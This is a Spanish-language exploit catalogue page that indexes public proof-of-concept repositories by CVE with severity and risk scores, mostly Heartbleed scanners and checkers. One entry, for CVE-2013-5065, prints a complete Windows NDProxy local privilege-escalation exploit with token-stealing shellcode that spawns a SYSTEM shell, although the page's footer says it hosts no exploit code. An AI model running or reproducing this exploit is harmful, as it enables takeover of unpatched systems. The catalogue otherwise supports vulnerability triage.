Explotación pública

Catálogo de exploits

Todo exploit público que catalogamos, en un solo índice. Busca por CVE, nombre del exploit o tecnología — y mira, al lado, lo que la falla realmente vale: severidad, probabilidad de explotación y si ya está bajo ataque.

77.151exploits catalogados

35.370CVEs con explotación pública

24.695probados en laboratorio

Todos Exploit-DB 24.451Referência 22.233GitHub PoC 14.119VulnCheck XDB 8617Nuclei 4257Metasploit 3474✓ solo verificadosrecientes populares riesgo

14.119 exploits

GitHub PoC★ 1

A firefox extension and checker for CVE-2014-0160

CVE-2014-0160HIGHbajo ataque09 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 170

Test for SSL heartbeat vulnerability (CVE-2014-0160)

CVE-2014-0160HIGHbajo ataque09 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 2

Checks for vulnerabilities: CVE-2014-0160

CVE-2014-0160HIGHbajo ataque09 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC

Nmap NSE script that discovers/exploits Heartbleed/CVE-2014-0160

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 7

bleed is a tool to test servers for the 'Heartbleed' vulnerability (CVE-2014-0160).

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 452

OpenSSL CVE-2014-0160 Heartbleed vulnerability test

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 2

Mass, multithreaded testing for servers against Heartbleed (CVE-2014-0160).

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 19

Patch openssl #heartbleed with ansible

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 572

Multi-threaded tool for scanning many hosts for CVE-2014-0160.

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC

obayesshelton/CVE-2014-0160-Scanner

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 330

Heartbleed (CVE-2014-0160) client exploit

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC

openssl Heart Bleed Exploit: CVE-2014-0160 Mass Security Auditor

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 40

OpenSSL TLS heartbeat read overrun (CVE-2014-0160)

CVE-2014-0160HIGHbajo ataque08 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 2389

A checker (site and tool) for CVE-2014-0160

CVE-2014-0160HIGHbajo ataque07 abr 2014

The (1) TLS and (2) DTLS implementations in OpenSSL 1.0.1 before 1.0.1g do not properly handle Heartbeat Extension packe

100RIESGO

GitHub PoC★ 3

Attempts to exploit CVE-2012-3137 on vulnerable Oracle servers

CVE-2012-3137—29 mar 2014

The authentication protocol in Oracle Database Server 10.2.0.3, 10.2.0.4, 10.2.0.5, 11.1.0.7, 11.2.0.2, and 11.2.0.3 all

35RIESGO

GitHub PoC★ 8

Android Data Stealing Vulnerability

CVE-2010-4804—06 feb 2014

The Android browser in Android before 2.3.4 allows remote attackers to obtain SD card contents via crafted content:// UR

43RIESGO

GitHub PoC★ 199

Linux local root exploit for CVE-2014-0038

CVE-2014-0038—02 feb 2014

The compat_sys_recvmmsg function in net/compat.c in the Linux kernel before 3.13.2, when CONFIG_X86_X32 is enabled, allo

50RIESGO

GitHub PoC★ 8

Automated exploit for CVE-2012-3153 / CVE-2012-3152

CVE-2012-3153—28 ene 2014

Unspecified vulnerability in the Oracle Reports Developer component in Oracle Fusion Middleware 11.1.1.4, 11.1.1.6, and

60RIESGO

GitHub PoC★ 12

Using CVE-2013-6282 to bypass Samsung kernel module authentication

CVE-2013-6282HIGHbajo ataque21 dic 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RIESGO

GitHub PoC

# NDPROXY Local SYSTEM privilege escalation # http://www.offensive-security.com # Tested on Windows XP SP3 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/ # Original crash ... null pointer dereference # Access violation - code c0000005 (!!! second chance !!!) # 00000038 ?? ??? from ctypes import * from ctypes.wintypes import * import os, sys kernel32 = windll.kernel32 ntdll = windll.ntdll GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 MEM_FREE = 0x00010000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = 2097151 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0 def log(msg): print msg def getLastError(): """[-] Format GetLastError""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value) else: log("[-] Unknown Error") print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] Vulnerability found in the wild" print "[*] Coded by Offensive Security" tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp) dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS: print "[+] Something went wrong while allocating the null paged memory: %s" % dwStatus getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8B\xC8\x8B\x80\x88\x00\x00\x00\x2D\x88\x00\x00\x00\x83\xB8\x84\x00\x00\x00\x04\x75\xEC\x8B\x90\xC8\x00\x00\x00\x89\x91\xC8\x00\x00\x00\xC3" sc = "\x90"*0x38 + "\x3c\x00\x00\x00" + "\x90"*4 + sh + "\xcc"*(0x400-0x3c-4-len(sh)) alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written)) if alloc == 0: print "[+] Something went wrong while writing our junk to the null paged memory: %s" % alloc getLastError() dwRetBytes = DWORD(0) DEVICE_NAME = "\\\\.\\NDProxy" hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None) if hdev == -1: print "[-] Couldn't open the device... :(" sys.exit() kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0) kernel32.CloseHandle(hdev) print "[+] Spawning SYSTEM Shell..." os.system("start /d \"C:\\windows\\system32\" cmd.exe")

CVE-2013-5065HIGHbajo ataque07 dic 2013

NDProxy.sys in the kernel in Microsoft Windows XP SP2 and SP3 and Server 2003 SP2 allows local users to gain privileges

98RIESGO

GitHub PoC★ 8

CVE-2013-6282 exploit

CVE-2013-6282HIGHbajo ataque28 nov 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RIESGO

GitHub PoC★ 27

CVE-2013-6282 exploit

CVE-2013-6282HIGHbajo ataque18 nov 2013

The (1) get_user and (2) put_user API functions in the Linux kernel before 3.5.5 on the v6k and v7 ARM platforms do not

98RIESGO

GitHub PoC★ 410

Debian OpenSSL Predictable PRNG (CVE-2008-0166)

CVE-2008-0166—22 sep 2013

OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 on Debian-based operating systems uses a random number generator that ge

45RIESGO

GitHub PoC★ 9

Meatballs1/cve-2013-1300

CVE-2013-1300—09 sep 2013

win32k.sys in the kernel-mode drivers in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, W

43RIESGO

GitHub PoC★ 2

Do you own security hotfix with Deviare hooking

CVE-2010-3971—07 ago 2013

Use-after-free vulnerability in the CSharedStyleSheet::Notify function in the Cascading Style Sheets (CSS) parser in msh

60RIESGO

GitHub PoC★ 5

CVE-2013-2596 exploit for android

CVE-2013-2596HIGHbajo ataque16 jul 2013

Integer overflow in the fb_mmap function in drivers/video/fbmem.c in the Linux kernel before 3.8.9, as used in a certain

71RIESGO

GitHub PoC

tarunyadav/fix-cve-2013-2094

CVE-2013-2094HIGHbajo ataque18 jun 2013

The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data t

83RIESGO

GitHub PoC★ 4

CVE-2013-2094 Linux 2.6.32/2.6.37 - 3.8.10 PERF_EVENTS local root x86/x86_64

CVE-2013-2094HIGHbajo ataque16 jun 2013

The perf_swevent_init function in kernel/events/core.c in the Linux kernel before 3.8.9 uses an incorrect integer data t

83RIESGO

GitHub PoC

CVE-2011-1485 - Published: 2011-04-01 - PolicyKit:

CVE-2011-1485—16 jun 2013

Race condition in the pkexec utility and polkitd daemon in PolicyKit (aka polkit) 0.96 allows local users to gain privil

38RIESGO

GitHub PoC★ 12

CVE-2013-2597 exploit

CVE-2013-2597HIGHbajo ataque11 jun 2013

Stack-based buffer overflow in the acdb_ioctl function in audio_acdb.c in the acdb audio driver for the Linux kernel 2.6

71RIESGO

Indexamos solo el enlace público a la prueba de concepto — nunca alojamos ni redistribuimos código de explotación. Fuentes: PoC-in-GitHub, Exploit-DB, Nuclei, Metasploit y VulnCheck XDB. La existencia de PoC pública no significa que la falla sea explotable en tu entorno.